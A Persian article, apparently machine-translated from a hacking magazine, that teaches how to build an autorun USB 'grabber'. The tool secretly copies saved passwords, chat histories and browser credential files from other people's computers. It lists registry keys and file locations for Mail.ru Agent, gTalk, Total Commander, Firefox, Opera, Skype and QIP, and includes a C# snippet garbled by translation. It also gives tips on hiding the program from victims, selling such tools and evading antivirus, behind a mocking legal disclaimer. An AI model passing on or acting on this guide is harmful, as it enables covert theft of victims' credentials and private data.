    سعی کنید برنامه ما را اجرا کنید و یک درایو فلش وارد کنید. پس از چند ثانیه (بسته به شلوغی درایو فلش شما)، تمام محتویات درایو usb به پوشه ای که برنامه تازه پخته شده را از آن راه اندازی کرده اید، منتقل می شود.

    گیرنده USB

    حالا بیایید مشکل معکوس را در نظر بگیریم و در مورد تفاوت های ظریف ایجاد به اصطلاح صحبت کنیم. فلش گیر. اصل خلقت هم دقیقاً همین است. شما باید یک برنامه ساده بنویسید که پس از نصب فلش به طور خودکار اجرا شود.

    در فرآیند کار، برنامه از پوشه ها / کلیدهای رجیستری عبور می کند که برنامه های محبوب رمزهای عبور ذخیره شده را در آنها ذخیره می کنند و در صورت امکان، تمام اطلاعات را در یکی از پوشه های خود کپی می کنند. برای اینکه اتوران شما باعث سوء ظن کاربر ضعیف نشود، سعی کنید با دقت آن را پنهان کنید. به عنوان مثال، در زیر منوی راه اندازی.

    احتمالاً می دانید که نسخه های به اصطلاح قابل حمل برنامه ها اکنون بسیار محبوب شده اند، یعنی برنامه هایی که می توانند مستقیماً از درایو فلش کار کنند. این بهترین راه برای بازی است. برنامه را به سبک مناسب طراحی کنید و برای اعتبار، چند دکمه طراحی شده برای راه اندازی هر برنامه ای را در آن قرار دهید. طرح من در تصویر نشان داده شده است.

    چجوری میخوایم دزدی کنیم؟

    فوراً باید بگویم که در اینجا نیازی به انجام اقدامات فوق هکر نیست. اکثر برنامه ها داده های شخصی را در پوشه Documents and Settings\User\Application Data\%ProgramName% یا در رجیستری ذخیره می کنند. ProgramName به معنای هر برنامه ای است. اگر با گزینه اول روبرو هستید، باید از کلاس xDirectory (یا روش های استاندارد کار با فایل ها) استفاده کنید و هر آنچه را که نیاز دارید را با آن کپی کنید. در مورد دوم، شما باید با رجیستری کار کنید. من مثالی از کپی کردن فایل ها نمی زنم (ما قبلاً آن را در نظر گرفته ایم)، اما به شما نشان می دهم که چگونه با استفاده از ابزارهای NET با رجیستری تعامل داشته باشید (با استفاده از مثال تعیین مسیر به پوشه TC):

    RegistryKey readKey = Registry.CurrentUser.OpenSubKey("نرم افزار\\Ghisler\\ فرمانده کل")؛ کلید رشته = (رشته) readKey.GetValue("InstallDir");

    همین. هیچ کد دیگری وجود نخواهد داشت. این دانش باید برای شما کافی باشد تا بتوانید فایل هایی با اطلاعات ارزشمند تهیه کنید. برای اینکه کارها کمی ساده تر شود، فهرستی از بیشترین ها را آماده کرده ام برنامه های محبوبو تمام روش هایی را که در آنها اطلاعات ذخیره شده کاربر را ذخیره می کنند، ترسیم کردند.

    نماینده پست

    پیام رسان Mail.ru اکنون در بین کاربران فانی صرف (به ویژه در بین زنان) بسیار محبوب است. اهداف روشن هستند، وظایف تعیین شده است، بنابراین ما علاقه مندیم:

  • تاریخ. MA کل تاریخچه مکاتبات کاربر را در Documents و تنظیمات\%User%\Application Data\Mra\base ذخیره می‌کند. یک فایل در پوشه پایه وجود دارد mra.dbs. در واقع این فایل تاریخچه است.
  • لیست مخاطبین. لیست مخاطبین در پوشه MRA\%user account%\clist5.txt قرار دارد. به خاطر داشته باشید که ممکن است چندین کاربر با mail.agent کار کنند (یا یک کاربر ممکن است چندین حساب داشته باشد). بنابراین منطقی‌ترین کار این است که تمام پوشه‌های حاوی علامت «@» را در نام کپی کنید.
  • کلمه عبور. رمز عبور (به طور دقیق تر، هش آن) از حسابکاربر در رجیستری در طول مسیر - HKCU\Software\Mail.RU\Agent\magent_logins2\%Account% در پارامتر ####password قرار دارد.
  • gTalk

    شرکت گوگلمحصولات راحت و کاربردی ایجاد می کند که در میان آنها یک مشتری گابر وجود دارد - gTalk. امروز gTalkهنوز خیلی محبوب نیست بر روی هر کامپیوتر دوم نصب نمی شود، اما گاهی اوقات باز هم پیش می آید و برای قرار گرفتن در موضوع، بهتر است بلافاصله برنامه خود را آموزش دهیم که از این پیام رسان نیز پسورد دریافت کند. گذرواژه‌های همه حساب‌های gTalk در رجیستری ذخیره می‌شوند - HHEY_CURRENT_USER\Software\Google\Google Talk\Accounts. این شعبه تمام حساب هایی را که تا به حال وارد آن شده اند فهرست می کند gTalk. رمزهای عبور حساب در آن ذخیره می شود پارامتر رشته pw.

    فرمانده کل

    فرمانده کل- تا حد زیادی محبوب ترین مدیر فایل. این برنامه تقریباً شامل یک واگن و یک گاری کوچک است (و می توان همان تعداد را با استفاده از افزونه های اضافی به آن وصل کرد). ما فقط به مشتری FTP داخلی علاقه مند هستیم. بسیاری از آن استفاده می کنند و رمزهای عبور، البته، ذخیره می شوند.

    TC، بر خلاف بسیاری از برنامه های دیگر، رمزهای عبور را در رجیستری ذخیره نمی کند، اما از فایل های قدیمی خوب ini استفاده می کند. رمزهای عبور و همچنین کلیه داده های لازم برای اتصال به سرورها (IP، پورت، نام کاربری و غیره) فرمانده کلدر یک فایل ذخیره می کند wcx_ftp.ini، که به طور معصومانه در پوشه برنامه قرار دارد. مسیر به دایرکتوری که در آن نصب شده است فرمانده کل، می توانید از رجیستری مطلع شوید. به شاخه HKEY_CURRENT_USER\Software\Ghisler\Total Commander نگاه کنید.

    فایرفاکس

    امروزه مرورگر فقط یک برنامه برای سفر به وب نیست، بلکه یک ترکیب کامل است که علاوه بر امکانات مختلف، اطلاعات محرمانه زیادی را ذخیره می کند. یک مثال معمولی از این فرم های وب است. 99 درصد از سایت های مدرن نیاز به ثبت نام دارند. به خاطر سپردن و مدام در نظر گرفتن ترکیب ورود / رمز عبور برای هر سایت یک کار غیر واقعی است، به خصوص اگر کاربر پیشرفته ای هستید و گشت و گذار در اینترنت شما تنها به Odnoklassniki و VKontakte محدود نمی شود.

    توسعه دهندگان زندگی را برای کاربران آسان تر کرده اند و به اصطلاح "حفظه های رمز عبور" را در برنامه ها تعبیه کرده اند. من ثبت نام کردم، با حساب کاربری خود وارد شدم، به مرورگر دستور دادم اعتبارنامه ها را به خاطر بسپارد - و فراموش کردم. دفعه بعد که بازدید می کنید، تنها کاری که باقی می ماند انجام چند کلیک ماوس است و شما در حال حاضر در سایت هستید. از آنجایی که مرورگر رمزهای عبور را ذخیره می کند، به این معنی است که ما این فرصت را داریم که کل پایگاه داده آن را سرقت کنیم.

  • sessionstore.js - فایل شامل تمام جلسات ذخیره شده است.
  • signons3.txt - رمزهای عبور رمزگذاری شده (برای نسخه سوم FF).
  • signons.sqlite - پایگاه داده SQLite حاوی تمام رمزهای عبور رمزگذاری شده است.
  • key3.db - پایگاه داده حاوی کلیدهای گواهینامه ها.
  • همه این فایل‌ها در Document and Settings\%UserName%\Application Data\Mozilla\FireFox\Profiles\%ProfileName% قرار دارند.

    اپرا

    اپرا- مرورگری که در بین کاربران روسی بسیار محبوب است. طبیعتاً نمی‌توانیم آن را بدون مراقبت رها کنیم. بنابراین، در مورد Opera وضعیت تقریباً مانند فایرفاکس است. همه رمزهای عبور ذخیره شده در مرورگر در Document and Settings\%UserName%\Application Data\Opera\profile در فایل wand.dat ذخیره می شوند. معلوم می شود که وقتی اپرا شناسایی می شود، به همان روشی عمل می کنیم که در مورد فایرفاکس.

    اسکایپ

    محبوبیت اسکایپ هر روز در حال افزایش است. بسیاری از مردم از آن نه به عنوان وسیله ای برای برقراری تماس، بلکه برای یک چت راحت پیش پا افتاده استفاده می کنند. تمام داده های محرمانه، همانطور که انتظار می رود، در نمایه کاربر (در همان مکانی که Opera یا FF آنها را ذخیره می کند) قرار دارد. برای "خصوصی کردن" آنها، باید نمایه کاربر را از Document and Settings\%userName%\Application Data\Skype\ کپی کنید و شاخه رجیستری را صادر کنید - HKEY_CURRENT_USER\Software\Skype\ProtectedStorage.

    QIP

    مانند بسیاری از برنامه هایی که قبلا توضیح داده شد، QIP همه رمزهای عبور ذخیره شده را در Application Data\qip ذخیره می کند.

    کپی به پایان رسید

    فناوری دات نت کار ما را بسیار ساده کرده است، در نتیجه همه کدنویسی به فراخوانی چند روش کاهش یافته است. البته می توان گفت که این کار جالبی نیست و نوشتن چنین چیزهایی در WinAPI یا ASM بسیار کارآمدتر است. همچین برنامه ای اینجوری بنویس ولی سریع موفق نمیشی.در حالی که بقیه کدهای کیلومتری مینویسن من و تو برداشت میکنیم.در برنامه نویسی موفق باشی و اگر سوالی داشتی به صابون بنویس.

    فراموش نکنید، بسیاری از کاربران اطلاعات محرمانه را در پوشه "اسناد من" ذخیره می کنند. حداقل ممکن است اسناد کاری جالب و گاهی اوقات فایل های کامل با رمز عبور وجود داشته باشد. زمانی (در شغل سابقم) در رایانه حسابدار فایلی با فرمت منظم با رمزهای عبور مشتریان بانک پیدا کردم.

    به عنوان یک دوست واقعی، باید به همه این افراد کمک کنید تا از اطلاعات حساس خود نسخه پشتیبان تهیه کنند.

    بسیاری از انجمن های هکرها تبلیغات زیادی برای فروش این نوع نرم افزارها دارند. قیمت های مختلف - از 10 دلار تا 100 دلار. پس از نهایی کردن نمونه های مورد بحث در مقاله، می توانید یک پوسته نان سیاه با خاویار بدست آورید. تکرار می کنم، نکته اصلی این است که خلاقانه به موضوع نزدیک شوید و قطعا همه چیز درست می شود. باز هم توسط آنتی ویروس ها شناسایی نمی شود ؛).

    هشدار!

    ما از این برنامه منحصراً برای پشتیبان گیری به موقع از محتویات درایوهای فلش روی دیسک و پشتیبان گیری از رمزهای عبور در درایو فلش استفاده می کنیم. و چه فکر کردی؟ استفاده غیرقانونی از چنین نرم افزارهایی مجازات دارد!